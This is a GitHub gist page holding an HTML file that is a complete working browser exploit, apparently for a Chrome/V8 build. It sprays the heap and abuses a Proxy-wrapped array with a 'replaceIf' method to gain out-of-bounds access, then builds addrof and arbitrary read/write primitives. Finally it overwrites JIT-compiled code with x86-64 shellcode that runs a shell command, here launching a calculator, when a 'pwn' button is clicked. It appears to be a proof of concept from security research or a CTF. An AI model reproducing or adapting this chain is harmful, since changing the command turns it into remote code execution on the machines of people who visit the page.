Created
April 9, 2019 09:59
-
-
Save andreafioraldi/160c28163422f96888f1d0f4ecd4e877 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
function print(text) { | |
if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' '); | |
console.log(text); | |
var element = document.getElementById('output'); | |
if (element) { | |
var sp = document.createElement('span'); | |
sp.textContent = text; | |
sp.style.width = "100px"; | |
sp.style.transition = "1s"; | |
element.appendChild(sp).focus(); | |
element.innerHTML += "</br>"; | |
requestAnimationFrame(() => | |
setTimeout(() => { | |
sp.style.width = "200px"; | |
}, 10) | |
); | |
} | |
} | |
/* saelo Int64 and utilities */ | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
var Struct = (function() { | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
function Int64(v) { | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
this.asDouble = function() { | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
/* EXPLOIT */ | |
var bufs; | |
function pwn() { | |
print("spraying..."); | |
bufs = Array(10000000); | |
for(let i = 0; i < 200; ++i) | |
bufs[i] = new ArrayBuffer(32); | |
print("crafting arrays..."); | |
var oob_w = [0.1, 0.1, 0.1, 0.1]; | |
var oob_rw = [0.2, 0.2, 0.2, 0.2]; | |
var arb_rw = new ArrayBuffer(0x41); | |
oob_rw.obj = 0x42424242 | |
oob_rw.stop_flag = 0x43434343 | |
var arb_rw_float = new Float64Array(arb_rw, 0, 8); | |
arb_rw_float[0] = 0x42424242; | |
var proxy = new Proxy(oob_w, { | |
get: function(t, n) { | |
if(n == "length") return 0x1000000; | |
return t[n]; | |
} | |
}); | |
print("compiling target shellcode function..."); | |
function shellcode(x) { | |
for (var i = 2; i < x / 2; i++) { | |
if (x % i == 0) | |
return false; | |
} | |
return true; | |
} | |
for (var i = 0; i < 1000; i++) | |
shellcode(i); | |
//values for this chrome build | |
//var oob_w_idx = 13; | |
//var oob_rw_idx = 4; | |
/* | |
%DebugPrint(oob_w); | |
%DebugPrint(oob_rw); | |
%DebugPrint(arb_rw); | |
%DebugPrint(shellcode); | |
*/ | |
print("finding oob offsests..."); | |
var oob_w_idx = 1; | |
//guess oob_w_idx | |
while(oob_rw.length == 4) { | |
proxy.replaceIf(oob_w_idx, function(v){return true;}, 0x1000000); | |
oob_w_idx += 4; | |
} | |
oob_w_idx -= 4; | |
//guess oob_rw_idx | |
//+4 offset of elements | |
var oob_rw_idx = oob_w_idx -9 +4; | |
print("oob_w_idx: " + oob_w_idx); | |
print("oob_rw_idx: " + oob_rw_idx); | |
print("oob_rw.length: " + oob_rw.length); | |
function addrof(obj) { | |
oob_rw.obj = obj; | |
var last = 0; | |
for(let i = 0; i < 0x100000; ++i) { | |
let v = Int64.fromDouble(oob_rw[i]); | |
if(v.toString() == "0x4343434300000000") | |
break; | |
last = v; | |
} | |
return last; | |
} | |
var shellcode_addr = addrof(shellcode); | |
print("shellcode address: " + Sub(shellcode_addr, 1)) | |
var memory = { | |
read8(addr) { | |
oob_rw[oob_rw_idx] = addr.asDouble(); | |
var v = new Float64Array(arb_rw, 0, 8); | |
return Int64.fromDouble(v[0]); | |
}, | |
read(addr, size) { | |
oob_rw[oob_rw_idx] = addr.asDouble(); | |
let a = new Uint8Array(arb_rw, 0, size); | |
return Array.from(a); | |
}, | |
write(addr, val) { | |
oob_rw[oob_rw_idx] = addr.asDouble(); | |
var v = new Uint8Array(arb_rw); | |
v.set(val); | |
} | |
} | |
var code_addr = memory.read8(Add(shellcode_addr, 47)); | |
print("jitted function address: " + code_addr) | |
var jitted_addr = Add(code_addr, 64); | |
print("jitted code address: " + jitted_addr) | |
var cmd = "env DISPLAY=':0' mate-calc;\x00"; | |
var cmd_arr = []; | |
for(var i = 0; i < cmd.length; ++i) | |
cmd_arr.push(cmd.charCodeAt(i)); | |
var code_pt1 = [0x90,72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184]; | |
var code_pt2 = [82,80,81,87,72,137,230,184,59,0,0,0,15,5]; | |
var code_size = code_pt1.length + 8 + code_pt2.length; | |
var code = [].concat( | |
code_pt1, | |
Array.from(Add(jitted_addr, code_size).bytes()), | |
code_pt2 | |
); | |
print("writing shellcode..."); | |
memory.write(jitted_addr, code); | |
memory.write(Add(jitted_addr, code_size), cmd_arr); | |
print("win"); | |
shellcode(); | |
} | |
</script> | |
</head> | |
<body> | |
<h1>HACK THE PLANET</h1> | |
<button onclick="pwn()">pwn</button> | |
<br><br><br> | |
<div id="output"> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment